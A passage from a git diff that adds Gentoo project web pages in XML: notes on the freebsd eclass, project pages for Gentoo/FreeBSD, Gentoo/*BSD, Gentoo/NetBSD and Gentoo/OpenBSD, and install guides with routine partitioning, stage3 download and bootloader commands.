+a set of directories. This is the case of Gentoo/FreeBSD sources, where the main
+source tarballs contains also libraries and programs that are built outside the
+system ebuilds directly by portage.
+</p>
+
+<p>
+To make simpler avoiding building an entire subdirectory tree, while not
+removing the sources (that might be included or used directly by other targets
+in other directories), the simplest way is to create a fake Makefile that just
+includes a dummy mk file. This is what <c>dummy_mk</c> function does.
+</p>
+
+<p>
+The <c>dummy_mk</c> function replace the Makefile of the given subdirectory with
+a Makefile that incldues <path>bsd.lib.mk</path> mk file (that defines shared
+and static libraries) but does not declare any target. This way, when
+<c>make</c> will enter the directory, it will pass on without building anything.
+</p>
+
+</body>
+</section>
+
+<section> <!-- The freebsd eclass -->
+<title>The freebsd eclass</title>
+
+<body>
+
+<p>
+<path>freebsd.eclass</path> contains some extra functions and variables used by
+Gentoo/FreeBSD system ebuilds. Their use is and should always be limited to
+those ebuilds, to limit the necessity of extending too much this eclass. If new
+functions are needed that are common to more than one *BSD system, it must be
+done inside <path>bsdmk.eclass</path>.
+</p>
+
+<p>
+The eclass exports the basic <c>src_compile</c> and <c>src_install</c> function
+that are used by almost every Gentoo/FreeBSD system package. They are mainly
+just the functions from bsdmk eclass, but they add the support for the always
+present <c>NOPROFILE=</c> knob, that is used to avoid building profiled
+libraries and binaries for all the system (this allows to save space on disk, as
+the profiled libraries and binaries are mostly used for performance evaluation
+and have no use for end users).
+</p>
+
+<note>
+The <c>-fomit-frame-pointer</c> flag, that is commonly usd on x86 boxes to free
+an extra register, makes profiling impossible, sometimes breaking the build
+process, too. For this reason, when the profile useflag is enabled, that cflag
+is filtered out.
+</note>
+
+<p>
+What most differentiate <path>freebsd.eclass</path> from
+<path>bsdmk.eclass</path> is the <c>src_unpack</c> function (missing from bsdmk)
+that, on freebsd eclass, takes care of many tasks common to almost all the
+packages.
+</p>
+
+<p>
+First of all, it extract the tarballs, as there might be more than one tarball
+for a FreeBSD package (they usually cross-reference files, as they are designed
+to be compiled from a single directory). Then it patches the sources with the
+patches defind in <c>${PATCHES}</c> variable. After that, it uses
+<c>dummy_mk</c> function to disable the directories listed in
+<c>${REMOVE_SUBDIRS}</c> variable.
+</p>
+
+<p>
+The final step in unpack process is renaming the libraries. As there are some
+differences between the library names in FreeBSD and upstream ones, all the
+libraries, such as ncurses and libfl (from flex) that have different names,
+are being replaced inside the Makefiles.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/bsd/fbsd/index.xml b/xml/htdocs/proj/en/gentoo-alt/bsd/fbsd/index.xml
new file mode 100644
index 00000000..169a2b5b
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/bsd/fbsd/index.xml
@@ -0,0 +1,215 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/bsd/fbsd/index.xml,v 1.37 2010/04/07 02:50:14 the_paya Exp $ -->
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+<name>fbsd</name>
+<longname>Gentoo/FreeBSD</longname>
+
+<date>2010-04-06</date>
+
+<author title="Author">Otavio Rodolfo Piske</author>
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<description>FreeBSD-based Gentoo system</description>
+
+<longdescription>
+
+<p>
+Gentoo/FreeBSD (or Gentoo/FBSD, or G/FBSD) is an effort to create a complete
+<uri link="http://www.freebsd.org/">FreeBSD</uri>-based Gentoo system, sharing
+the complete administration facilities of Gentoo with the reliability of the
+FreeBSD kernel and userland.
+</p>
+<p>
+An experimental, yet incomplete release have been done, and it's possible
+to install Gentoo/FreeBSD following the <uri link="/doc/en/gentoo-freebsd.xml">
+install guide</uri>.
+</p>
+<p>
+This project is still in its infancy. If you are interested in working on it,
+please send an email to the <mail link="bsd@gentoo.org">Gentoo/*BSD</mail>
+team.
+</p>
+
+</longdescription>
+
+<recruitment>
+<job>
+  <summary>Arch Testers</summary>
+  <details>
+    Gentoo/FreeBSD needs more people testing software, hoping that packages stabilization
+    may happen at some point. Looking for a challenge or interested in the features of
+    FreeBSD is welcome.
+  </details> 
+  <requirements>
+    Familiarity with ebuilds, portage, BSD and POSIX standards, no extreme hardware is required
+    any kind of virtual machine will also do.
+    Be bugzilla, mailing list, and irc friendly.
+  </requirements>
+  <contact>bsd@gentoo.org</contact>
+</job>
+<job>
+  <summary>Team Members</summary>
+  <details>
+    New bugs show up almost on each -random package- update, an understaffed team can quickly
+    become demotivated by just looking at the sheer ammount of upgrades that don't build.
+    Thus the more people hunting new bugs, the merrier. 
+  </details>
+  <requirements>
+    Willingness to cooperate with upstream maintainers so that fixes are permanent and they don't
+    spawn again after each bump. Knowledge of alternate POSIX is very welcome.
+  </requirements>
+  <contact>bsd@gentoo.org</contact>
+</job>
+<job>
+  <summary>Debuggers</summary>
+  <details>
+    Even if the @system set works pretty decently, there are some areas that require deeper
+    investigation, from the clash of the very up-to-date toolchain that we use in Gentoo with
+    the conservative BSD userland, there are some things that don't work 100%, ie: gdb debugging.
+  </details>
+  <requirements>
+    Experience debugging C code and toolchain bugs, library linking, frame unwinding, etc. Not
+    afraid of running a gcc testsuite, nor afraid of submitting bug reports upstream.
+  </requirements>
+  <contact>bsd@gentoo.org</contact>
+</job>
+</recruitment>
+
+<dev role="lead">The_Paya</dev>
+<dev role="member">aballier</dev>
+<dev role="member">neurogeek</dev>
+
+<resource link="/doc/en/gentoo-freebsd.xml">
+  Gentoo/FreeBSD installation guide
+</resource>
+
+<extrachapter> <!-- Mini FAQ -->
+<title>Mini FAQ</title>
+
+<section>
+<body>
+
+<p>
+<b>1. Is Gentoo/FreeBSD just a portage on top of FreeBSD system?</b><br />
+No, Gentoo/FreeBSD aims to provide a complete FreeBSD-based system using Gentoo
+design principles. This means that it's going to use the Gentoo init system,
+administration utilities and toolchain support.
+</p>
+
+<p>
+<b>2. Which toolchain is being used to build the system?</b><br />
+Gentoo toolchain is being used. This means that GCC can be chosen between the
+currently available versions in portage (4.2, 4.3 and 4.4), and the same
+goes with binutils, for which the needed patch form FreeBSD has already been
+forwardported (and applied upstream for 2.17 series, currently running well on 2.20).
+</p>
+
+<p>
+<b>3. Is Stack Smashing Protection supported?</b><br />
+Yes, as we use Gentoo toolchain we also have GCC patched with Propolice, and
+since the introduction of FreeBSD-8.0 the base system is patched to support SSP by default. 
+The linkage of local SSP symbols is done using a linker script thanks to the newer binutils
+available, while on vanilla FreeBSD it's being done directly on the gcc-spec, this method
+also avoids text relocations making SSP support pretty clean.
+</p>
+
+</body>
+</section>
+
+</extrachapter>
+
+<extrachapter> <!-- Introduction -->
+<title>Building a Gentoo/FreeBSD crosscompiler</title>
+
+<section> <!-- Introduction -->
+<title>Introduction</title>
+
+<body>
+
+<p>
+Complementing the <uri link="http://www.gentoo.org/doc/en/cross-compiling-distcc.xml">DistCC Cross-compiling Guide</uri>,
+this document will explain how to build a Gentoo/FreeBSD crosscompiler, as for
+now it's not yet entirely automated.
+</p>
+
+<p>
+The instruction here given works for building crosscompilers to Gentoo/FreeBSD,
+as they use the ebuilds currently in portage. They might not work entirely for
+generic vanilla FreeBSD as there are a few things that change, but you should be okay.
+</p>
+
+<p>
+Please if you find a problem with these when building a generic FreeBSD cross
+compiler don't open a bug report unless you also have a patch, as there're not
+enough people working on Gentoo/FreeBSD to support vanilla FreeBSD building.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Prerequisites and crossdev -->
+<title>Prerequisites and crossdev</title>
+
+<body>
+
+<p>
+Before going to use crossdev you need to install some prerequisites that are
+needed to complete the building of a stage4 compiler (C++ compiler). These are
+needed because <c>crossdev</c> does not merge them before the rest.
+</p>
+
+<p>
+The first package you need is <c>virtual/pmake</c>, or directly
+<c>sys-devel/pmake</c>, that provides a BSD-compatible <c>make</c> command,
+needed to build headers and the base library for Gentoo/FreeBSD.
+</p>
+
+<p>
+The second package is a complement to the above <c>pmake</c>. Although it ships
+with some files <path>.mk</path> (that contains BSD makefile templates used to
+build applications using BSD style), they are too barebone to actually build
+FreeBSD software, so you need to install the file set from FreeBSD. The ebuild
+is <c>sys-freebsd/freebsd-mk-defs</c> and it's crosscompile aware: when building
+on a non-FreeBSD system it installs in <path>/usr/share/mk/freebsd</path> and
+uses GNU syntaxes.
+</p>
+
+<p>
+The third package is <c>sys-apps/mtree</c>, that provides the BSD <c>mtree</c> command,
+needed to build Gentoo/FreeBSD headers.
+</p>
+
+<note>
+You might have <c>sys-freebsd/freebsd-mk-defs</c> masked by keyword, please
+refer to the arch team of your architecture for its keywording.
+</note>
+
+<p>
+Then you just need to use <c>sys-devel/crossdev</c> to build the crosscompiler
+you want. Please note that the version specified in CHOST has to be the same
+as the one used for <c>freebsd-lib</c>:
+</p>
+
+<pre caption="Building a crosscompiler for Gentoo/FreeBSD 6.1">
+# <i>crossdev -s4 --gcc 4.4.3 --libc '8.0*' --target i686-gentoo-freebsd8.0 --with-headers</i>
+</pre>
+
+<p>
+The version of libc has to be accorded ot the version of FreeBSD you
+want to build for, while the <c>--with-headers</c> option to crossdev forces
+it to build the headers before <c>gcc</c> itself.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/bsd/index.xml b/xml/htdocs/proj/en/gentoo-alt/bsd/index.xml
new file mode 100644
index 00000000..4eeca4b5
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/bsd/index.xml
@@ -0,0 +1,72 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/bsd/index.xml,v 1.47 2010/04/07 02:50:14 the_paya Exp $ -->
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+<name>bsd</name>
+<longname>Gentoo/*BSD</longname>
+
+<date>2006-10-19</date>
+
+<author title="Author">
+  <mail link="g2boojum@gentoo.org">Grant Goodyear</mail>
+</author>
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<description>Porting of Gentoo facilities on BSD systems</description>
+
+<longdescription><p>
+An effort to provide the complete Gentoo/Linux facilities on BSD operating
+systems, allowing users to use their knowledege of Gentoo's services and
+utilites with BSD userlands and kernels.
+</p>
+<p>This project is still in its infancy.  If you are interested in working on it,
+please send an e-mail to the <mail link="bsd@gentoo.org">Gentoo/*BSD</mail>
+team.
+</p></longdescription>
+
+<subproject ref="/proj/en/gentoo-alt/bsd/obsd/index.xml" inheritmembers="yes" />
+<subproject ref="/proj/en/gentoo-alt/bsd/fbsd/index.xml" inheritmembers="yes" />
+<subproject ref="/proj/en/gentoo-alt/bsd/nbsd/index.xml" inheritmembers="yes" />
+
+<dev role="lead">The_Paya</dev>
+<dev role="member">aballier</dev>
+<dev role="member">neurogeek</dev>
+
+<resource link="/proj/en/gentoo-alt/bsd/devnotes.xml">
+  Notes for Developers of Gentoo/*BSD ports
+</resource>
+
+<plannedproject name="dfly">
+This is a (still unofficial) port of Gentoo under DragonFly BSD system. Quite
+near to Gentoo/FreeBSD, this port will share many part of the current
+implementation. Developed by Robert Sebastian Gerus (arachnist).
+</plannedproject>
+
+<herd name="bsd" />
+
+<extrachapter><!-- Contacts -->
+<title>Gentoo/*BSD contacts</title>
+
+<section>
+<body>
+<p>
+Ways to contact Gentoo/*BSD developers include the IRC Channel
+<c>#gentoo-bsd</c> on Freenode, as well as the mailing list
+<mail link="gentoo-bsd@gentoo.org">gentoo-bsd@gentoo.org</mail>. To subscribe
+just send an empty email to
+<mail link="gentoo-bsd+subscribe@gentoo.org">gentoo-bsd-subscribe@gentoo.org</mail>
+and follow the instructions included in the reply.
+</p>
+</body>
+</section>
+
+</extrachapter>
+
+</project>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/bsd/nbsd/doc/gentoo-netbsd.xml b/xml/htdocs/proj/en/gentoo-alt/bsd/nbsd/doc/gentoo-netbsd.xml
new file mode 100644
index 00000000..75a3d374
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/bsd/nbsd/doc/gentoo-netbsd.xml
@@ -0,0 +1,161 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/bsd/nbsd/doc/gentoo-netbsd.xml,v 1.7 2006/03/27 12:10:36 thunder Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="gentoo-freebsd.xml">
+<title>Installing Gentoo/NetBSD</title>
+
+<author title="Author">
+  <mail link="thunder@gentoo.pl">Damian Florczyk</mail>
+</author>
+<author title="Author/Editor">
+  <mail link="citizen428@gentoo.org">Michael Kohl</mail>
+</author>
+
+<abstract>
+Installation instructions for Gentoo/NetBSD.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.5</version>
+<date>2006-03-25</date>
+
+<chapter>
+<title>Introduction to NetBSD</title>
+<section>
+<title>What is NetBSD?</title>
+<body>
+
+<p>
+NetBSD is a <uri link="http://netbsd.org/Misc/about.html">free</uri>, secure, 
+and highly portable Unix-like Open Source operating system available for many 
+platforms, from 64-bit Opteron machines and desktop systems to handheld and 
+embedded devices.</p>
+ 
+<p>Back in 1993 when development of <uri link="http://www.386bsd.org/">386BSD</uri> 
+stopped, two projects were born: <uri link="http://www.freebsd.org">FreeBSD</uri>
+which focuses mainly on the x86 platform, and <uri link="http://www.netbsd.org/">
+NetBSD</uri>, commonly known to run on a huge number of architetures. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installing Gentoo/NetBSD</title>
+<section>
+<title>Installation instructions</title>
+<body>
+
+
+<p>
+You can use a qemu disk image or vmware image if you're installing Gentoo/NetBSD in virtual machine.If so, just download:
+<uri link="http://dev.gentoo.org/~thunder/distfiles/gentoo-netbsd-image-051106.tar.bz2">gentoo-netbsd-image</uri> or
+<uri link="http://dev.gentoo.org/~thunder/distfiles/gentoo-netbsd-vmware-051106.tar.bz2">gentoo-netbsd-vmware</uri>
+and make few more steps:
+</p>
+
+<pre caption="Gentoo/NetBSD disk image final configuration">
+# <i>emerge sync</i>
+# <i>echo "x86-nbsd" >> /usr/portage/profiles/arch.list</i>
+# <i>emerge metadata</i>
+</pre>
+
+<p>
+Unfortunately the Gentoo/NetBSD project currently has no official installation
+media, so you have to download an ISO image of a NetBSD LiveCD which can be found 
+<uri link="ftp://ftp.netbsd.org/pub/NetBSD/misc/xtraeme/NetBSD-3.99.7_KDE-3.4.2.iso">here</uri>.
+</p>
+
+<p>
+Burn this image to a CD and use it boot your computer. Please log in as user 'root', using 'NetBSD'
+as a password. Once logged in, you have to create and format partitions for your Gentoo/NetBSD 
+installation. If you're unsure on how to do this, please consult the section "Adding a new hard disk"
+of the <uri link="http://www.netbsd.org/guide/en/chap-misc.html#chap-misc-adding-new-disk">NetBSD 
+manual</uri>.
+</p>
+
+<pre caption="Partitioning your disk">
+# <i>fdisk -u wdX</i>
+<comment>Creating a partition.</comment>
+# <i>fdisk -a wdX</i>
+<comment>Mark a partition as active.</comment>
+# <i> disklabel -i wdX</i>
+<comment>Substitute X to reflect your setup.</comment>
+# <i> newfs /dev/wdXY</i>
+<comment>Substitute X and Y to reflect the correct disk/slice.</comment>
+</pre>
+
+<p>
+When you are done with setting up your disk, create a mount point where you mount the previously
+created partitions.
+</p>
+
+<pre caption="Creating a mount point and mounting partitions">
+# <i>mkdir /var/gentoo</i>
+# <i>mount /dev/wdXY /var/gentoo</i>
+<comment>(Replace X and Y with the correct numbers for your hard disk.)</comment>
+</pre>
+
+<p>
+Now that you have mounted the target partition, it is time to fetch and unpack
+a stage3 tarball and syncing your portage tree.
+</p>
+
+<pre caption="Installing the stage3 tarball and syncing the portage tree">
+# <i>cd /var/gentoo</i> 
+# <i>ftp http://dev.gentoo.org/~thunder/distfiles/gentoo-netbsd-stage3-051106.tar.bz2</i>
+# <i>tar -xjpf gentoo-netbsd-stage3-051106.tar.bz2</i>
+# <i>chroot /var/gentoo /bin/bash</i>
+# <i>env-update</i>
+# <i>emerge sync</i>
+# <i>echo "x86-nbsd" >> /usr/portage/profiles/arch.list</i>
+# <i>emerge metadata</i>
+</pre>
+
+<p>
+Congrats, you now should be able to update your Gentoo/NetBSD installation using Portage! But
+in order to be able to boot your new system later on, you will have to install a boot manager or
+add Gentoo/NetBSD to your current boot loader's configuration. Additionally you will have to populate
+your <path>/dev</path> dirctory with the necessary device nodes. Finally you'll have to edit your
+<path>/etc/fstab</path> to reflect your partition layout.
+</p>
+
+<pre caption="Final configuration">
+# <i>cd /dev</i>
+# <i>./MAKEDEV all</i>
+# <i>fdisk -B /dev/wdX</i>
+<comment>Once again, substitute X to reflect your setup.</comment>
+# <i>installboot -v /dev/rwdXY /usr/mdec/bootxx_ffsv1</i>
+<comment>Where wdXY is your root partition.</comment>
+# <i>vi /etc/fstab</i>
+<comment>You now have to edit /etc/rc.conf, to set the option rc_configured to YES</comment>
+# <i>vi /etc/rc.conf</i>
+</pre>
+
+<p>
+We hope you will enjoy your new Gentoo/NetBSD system and will have fun using it!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Contact</title>
+<section>
+<body>
+
+<p>
+Gentoo/NetBSD currently is  official Gentoo project, and all your suggestions,
+questions etc. should go to <mail link="bsd@gentoo.org">BSD Mailing List</mail> 
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gentoo-alt/bsd/nbsd/index.xml b/xml/htdocs/proj/en/gentoo-alt/bsd/nbsd/index.xml
new file mode 100644
index 00000000..36ada0d5
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/bsd/nbsd/index.xml
@@ -0,0 +1,85 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/bsd/nbsd/index.xml,v 1.9 2010/03/21 16:14:56 jmbsvicetto Exp $ -->
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+<name>nbsd</name>
+<longname>Gentoo/NetBSD</longname>
+
+<date>2005-11-25</date>
+
+<author title="Author">
+  <mail link="thunder@gentoo.org">Damian Florczyk</mail>
+</author>
+<author title="Editor">
+  <mail link="citizen428@gentoo.org">Michael Kohl</mail>
+</author>
+
+<description>A Gentoo system based on NetBSD</description>
+
+<longdescription>
+
+<p>
+Gentoo/NetBSD (or Gentoo/NBSD, or G/NBSD) is an effort to create a complete
+<uri link="http://www.netbsd.org/">NetBSD</uri>-based Gentoo system, sharing
+the complete administration facilities of Gentoo with the reliability of the
+NetBSD kernel and userland.
+</p>
+<p>
+We already offer a stage3 for Gentoo/NetBSD, so installation is possible without 
+the need for a regular NetBSD installation. To install Gentoo/NetBSD follow the 
+<uri link="http://www.gentoo.org/proj/en/gentoo-alt/bsd/nbsd/doc/gentoo-netbsd.xml">install guide</uri>.
+</p>
+<p>
+This project is still in its infancy. If you are interested in working on it,
+please send an email to the <mail link="bsd@gentoo.org">Gentoo/*BSD</mail>
+team.
+</p>
+
+</longdescription>
+
+<dev role="member">truedfx</dev>
+
+<resource link="http://www.gentoo.org/proj/en/gentoo-alt/bsd/nbsd/doc/gentoo-netbsd.xml">
+  Gentoo/NetBSD installation guide
+</resource>
+	
+<task id="stages" lead="" finished="no">
+  <name>Gentoo/NetBSD stages</name>
+  <description>Providing stages for installation</description>
+
+  <longdescription>
+  <p>
+  To be a complete Gentoo system, Gentoo/NetBSD must be installed with
+  stages which carry the minimum software needed to run the system.
+  </p>
+  </longdescription>
+
+  <startdate>2005-11-12</startdate>
+
+  <milestone finished="yes">
+    <enddate>2005-09-05</enddate>
+    <description>First experimental stage3 for basic installation</description>
+  </milestone>
+</task>
+<task id="livecd" lead="" finished="no">
+  <name>Gentoo/NetBSD LiveCD</name>
+  <description>Providing a LiveCD for installation</description>
+
+  <longdescription>
+  <p>
+  A LiveCD is needed to untar stage3 so it has to provide some basic tools.
+  Right now we're using <uri link="ftp://ftp.netbsd.org/pub/NetBSD/misc/xtraeme/NetBSD-3.99.7_KDE-3.4.2.iso">this LiveCD</uri>
+  </p>
+  </longdescription>
+
+  <startdate>As soon as I'll get some time</startdate>
+
+  <depends ref="stages" />
+</task>
+
+
+</project>
+
diff --git a/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/doc/gentoo-openbsd.xml b/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/doc/gentoo-openbsd.xml
new file mode 100644
index 00000000..3ebf8965
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/doc/gentoo-openbsd.xml
@@ -0,0 +1,134 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/doc/gentoo-openbsd.xml,v 1.3 2006/02/13 17:09:13 reb Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="gentoo-openbsd.xml">
+<title>Installing Gentoo/OpenBSD</title>
+
+<author title="Author">
+  <mail link="reb">Karol Pasternak</mail>
+</author>
+
+<abstract>
+Installation instructions for Gentoo/OpenBSD.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.1</version>
+<date>2006-01-29</date>
+
+<chapter>
+<title>Introduction to OpenBSD</title>
+<section>
+<title>What is OpenBSD?</title>
+<body>
+
+<p>
+The OpenBSD project produces a <uri link="http://openbsd.org/faq/faq1.html#WhatIs">freely</uri>
+available, multi-platform 4.4BSD-based UNIX-like operating system. Our goals place emphasis 
+on correctness, security, standardization, and portability. OpenBSD supports binary emulation of most 
+binaries from SVR4 (Solaris), FreeBSD, Linux, BSDI, SunOS, and HPUX.</p>
+
+<p>
+It was forked from <uri link="http://www.netbsd.org">NetBSD</uri>, 
+a previous open source operating system based on BSD, by project leader Theo de Raadt in 1994, 
+and is widely known for the developers' insistence on open source and documentation, 
+uncompromising position on software licensing, and focus on security and code correctness. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installing Gentoo/OpenBSD</title>
+<section>
+<title>Installation instructions</title>
+<body>
+
+<p>
+Gentoo/OpenBSD project currently has official installation media, so you can download an ISO image from 
+<uri link="http://dev.gentoo.org/~reb/obsd/livecd/gentoo-obsdlivecd3.8_0/gentoo-obsdlivecd3.8_0.iso">here</uri>.
+</p>
+
+<p>
+Burn this image to a CD and use it boot your computer. Please log in as user 'root', using blank
+password. Once logged in, you have to create and format partitions for your Gentoo/OpenBSD 
+installation. If you're unsure how to do this, please consult the section "Setting up disks"
+of the <uri link="http://www.openbsd.org/faq/faq4.html#Disks">OpenBSD 
+FAQ</uri>.
+</p>
+
+<pre caption="Partitioning your disk">
+# <i>fdisk -e wdX</i>
+<comment>Creating a partition.</comment>
+# <i>disklabel -E wdX</i>
+<comment>Substitute X to reflect your setup.</comment>
+# <i> newfs /dev/wdXY</i>
+<comment>Substitute X and Y to reflect the correct disk/slice.</comment>
+</pre>
+
+<p>
+When you are done with setting up your disk, create a mount point where you mount the previously
+created partitions.
+</p>
+
+<pre caption="Creating a mount point and mounting partitions">
+# <i>mkdir /var/gentoo</i>
+# <i>mount /dev/wdXY /var/gentoo</i>
+<comment>(Replace X and Y with the correct numbers for your hard disk.)</comment>
+</pre>
+
+<p>
+Now that you have mounted the target partition, it is time to fetch and unpack
+a stage3 tarball and syncing your portage tree.
+</p>
+<note>Currently Gentoo/OpenBSD LiveCD includes stage3 in /stage</note>
+
+<pre caption="Installing the stage3 tarball and syncing the portage tree">
+# <i>cd /var/gentoo</i> 
+# <i>ftp http://dev.gentoo.org/~reb/obsd/stage/gentoo-openbsd-stage3-211105.tar.bz2</i>
+# <i>tar xjpfv gentoo-openbsd-stage3-211105.tar.bz2 </i>
+</pre>
+
+<p>
+Congrats, you now should be able to update your Gentoo/OpenBSD installation using Portage! But
+in order to be able to boot your new system later on, you will have to install a boot manager or
+add Gentoo/OpenBSD to your current boot loader's configuration. Additionally you will have to populate
+your <path>/dev</path> dirctory with the necessary device nodes. Finally you'll have to edit your
+<path>/etc/fstab</path> to reflect your partition layout.
+</p>
+
+<pre caption="Final configuration">
+# <i>cd /var/gentoo/dev</i>
+# <i>./MAKEDEV all</i>
+# <i>chroot /var/gentoo /bin/bash</i>
+# <i>cd /usr/mdec; ./installboot boot biosboot wdX </i>
+<comment>Where wdX is your disc.</comment>
+# <i>vi /etc/fstab</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Contact</title>
+<section>
+<body>
+
+<p>
+A list of Gentoo/OpenBSD developers can be found at the 
+<uri link="http://www.gentoo.org/proj/en/gentoo-alt/bsd/obsd/">project page</uri>. 
+Other ways to contact Gentoo/FreeBSD developers include our IRC Channel #gentoo-bsd 
+on Freenode, as well as the 
+<uri link="http://www.gentoo.org/main/en/lists.xml">gentoo-bsd mailing list.</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/images/gentoo-openbsd.png b/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/images/gentoo-openbsd.png
new file mode 100644
index 00000000..5273c594
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/images/gentoo-openbsd.png
diff --git a/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/index.xml b/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/index.xml
new file mode 100644
index 00000000..962017c1
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/index.xml
@@ -0,0 +1,91 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/bsd/obsd/index.xml,v 1.11 2010/03/21 16:14:57 jmbsvicetto Exp $ -->
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+<name>obsd</name>
+<longname>Gentoo/OpenBSD</longname>
+
+<date>2007-09-03</date>
+
+<author title="Author">
+  <mail link="reb@gentoo.org">Karol Pasternak</mail>
+</author>
+
+<description>A Gentoo system based on OpenBSD</description>
+
+<longdescription>
+
+<p>
+Gentoo/OpenBSD (or Gentoo/OBSD, or G/OBSD) is an effort to create a complete
+<uri link="http://www.openbsd.org/">OpenBSD</uri>-based Gentoo system, sharing
+the complete administration facilities of Gentoo with the reliability of the
+OpenBSD kernel and userland.
+</p>
+
+<p>
+Official Gentoo/OpenBSD logo can be found <uri
+link="/proj/en/gentoo-alt/bsd/obsd/images/gentoo-openbsd.png">here</uri>.
+</p>
+
+<p>
+We already offer a stage3 for Gentoo/OpenBSD, so installation is possible without 
+the need for a regular OpenBSD installation. To install Gentoo/OpenBSD follow the 
+<uri link="http://www.gentoo.org/proj/en/gentoo-alt/bsd/obsd/doc/gentoo-openbsd.xml">install guide</uri>.
+</p>
+
+<p>
+This project is still in its infancy. If you are interested in working on it,
+please send an email to the <mail link="bsd@gentoo.org">Gentoo/*BSD</mail>
+team.
+</p>
+
+</longdescription>
+
+<resource link="/proj/en/gentoo-alt/bsd/obsd/doc/gentoo-openbsd.xml">
+  Gentoo/OpenBSD installation guide
+</resource>
+	
+<task id="stages" lead="" finished="no">
+  <name>Gentoo/OpenBSD stages</name>
+  <description>Providing stages for installation</description>
+
+  <longdescription>
+  <p>
+  To be a complete Gentoo system, Gentoo/OpenBSD must be installed with
+  stages which carry the minimum software needed to run the system.
+  </p>
+  </longdescription>
+
+  <startdate>2005-11-29</startdate>
+
+  <milestone finished="yes">
+    <enddate>2005-12-05</enddate>
+    <description>First experimental stage3 for basic installation</description>
+  </milestone>
+</task>
+<task id="livecd" lead="" finished="no">
+  <name>Gentoo/OpenBSD LiveCD</name>
+  <description>Providing a LiveCD for installation</description>
+
+  <longdescription>
+  <p>
+  A LiveCD is needed to untar stage3 so it has to provide some basic tools.
+  </p>
+  </longdescription>
+
+  <startdate>2005-12-12</startdate>
+
+  <milestone finished="yes">
+    <enddate>2005-12-05</enddate>
+    <description>First experimental LiveCD</description>
+  </milestone>
+
+  <depends ref="stages" />
+</task>
+
+
+</project>
+
diff --git a/xml/htdocs/proj/en/gentoo-alt/contribute/arch-testers-alt.xml b/xml/htdocs/proj/en/gentoo-alt/contribute/arch-testers-alt.xml
new file mode 100644
index 00000000..43e5425f
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/contribute/arch-testers-alt.xml
@@ -0,0 +1,73 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
